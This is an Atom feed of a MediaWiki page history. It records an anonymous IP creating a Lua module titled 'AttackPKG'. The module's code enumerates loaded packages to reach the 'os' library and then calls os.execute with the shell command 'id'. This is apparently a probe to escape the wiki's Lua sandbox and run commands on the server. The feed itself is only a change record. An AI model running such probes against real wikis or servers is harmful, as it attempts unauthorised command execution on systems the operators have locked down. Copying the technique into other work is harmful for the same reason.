<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-CN">
	<id>http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3AAttackPKG</id>
	<title>模块:AttackPKG - 版本历史</title>
	<link rel="self" type="application/atom+xml" href="http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3AAttackPKG"/>
	<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AttackPKG&amp;action=history"/>
	<updated>2026-05-11T02:34:21Z</updated>
	<subtitle>本wiki上该页面的版本历史</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AttackPKG&amp;diff=1006&amp;oldid=prev</id>
		<title>221.237.85.128：​创建页面，内容为“local p = {}  function p.test()     local results = {}     local loaded = package.loaded     results[1] = &quot;loaded_type=&quot; .. type(loaded)      if loaded then         -- List loaded modules         local keys = {}         for k in pairs(loaded) do             keys[#keys+1] = tostring(k)         end         results[2] = &quot;loaded_keys=&quot; .. table.concat(keys, &quot;, &quot;)          -- Check 'os' specifically         if loaded[&quot;os&quot;] then             local l_os = loaded[&quot;os&quot;]…”</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:AttackPKG&amp;diff=1006&amp;oldid=prev"/>
		<updated>2026-05-09T06:53:41Z</updated>

		<summary type="html">&lt;p&gt;创建页面，内容为“local p = {}  function p.test()     local results = {}     local loaded = package.loaded     results[1] = &amp;quot;loaded_type=&amp;quot; .. type(loaded)      if loaded then         -- List loaded modules         local keys = {}         for k in pairs(loaded) do             keys[#keys+1] = tostring(k)         end         results[2] = &amp;quot;loaded_keys=&amp;quot; .. table.concat(keys, &amp;quot;, &amp;quot;)          -- Check &amp;#039;os&amp;#039; specifically         if loaded[&amp;quot;os&amp;quot;] then             local l_os = loaded[&amp;quot;os&amp;quot;]…”&lt;/p&gt;
&lt;p&gt;&lt;b&gt;新页面&lt;/b&gt;&lt;/p&gt;&lt;div&gt;local p = {}&lt;br /&gt;
&lt;br /&gt;
function p.test()&lt;br /&gt;
    local results = {}&lt;br /&gt;
    local loaded = package.loaded&lt;br /&gt;
    results[1] = &amp;quot;loaded_type=&amp;quot; .. type(loaded)&lt;br /&gt;
&lt;br /&gt;
    if loaded then&lt;br /&gt;
        -- List loaded modules&lt;br /&gt;
        local keys = {}&lt;br /&gt;
        for k in pairs(loaded) do&lt;br /&gt;
            keys[#keys+1] = tostring(k)&lt;br /&gt;
        end&lt;br /&gt;
        results[2] = &amp;quot;loaded_keys=&amp;quot; .. table.concat(keys, &amp;quot;, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        -- Check 'os' specifically&lt;br /&gt;
        if loaded[&amp;quot;os&amp;quot;] then&lt;br /&gt;
            local l_os = loaded[&amp;quot;os&amp;quot;]&lt;br /&gt;
            results[3] = &amp;quot;l_os_type=&amp;quot; .. type(l_os)&lt;br /&gt;
            if l_os.execute then&lt;br /&gt;
                results[4] = &amp;quot;***EXECUTE_FOUND*** type=&amp;quot; .. type(l_os.execute)&lt;br /&gt;
                -- Try to call it!&lt;br /&gt;
                local ok, ret = pcall(l_os.execute, &amp;quot;id&amp;quot;)&lt;br /&gt;
                results[5] = &amp;quot;execute_result=&amp;quot; .. tostring(ok) .. &amp;quot;:&amp;quot; .. tostring(ret)&lt;br /&gt;
            else&lt;br /&gt;
                -- List what's in l_os&lt;br /&gt;
                local os_keys = {}&lt;br /&gt;
                for k in pairs(l_os) do&lt;br /&gt;
                    os_keys[#os_keys+1] = k .. &amp;quot;=&amp;quot; .. type(l_os[k])&lt;br /&gt;
                end&lt;br /&gt;
                results[3] = &amp;quot;l_os=&amp;quot; .. table.concat(os_keys, &amp;quot;, &amp;quot;)&lt;br /&gt;
            end&lt;br /&gt;
        else&lt;br /&gt;
            results[3] = &amp;quot;no_loaded_os&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>221.237.85.128</name></author>
	</entry>
</feed>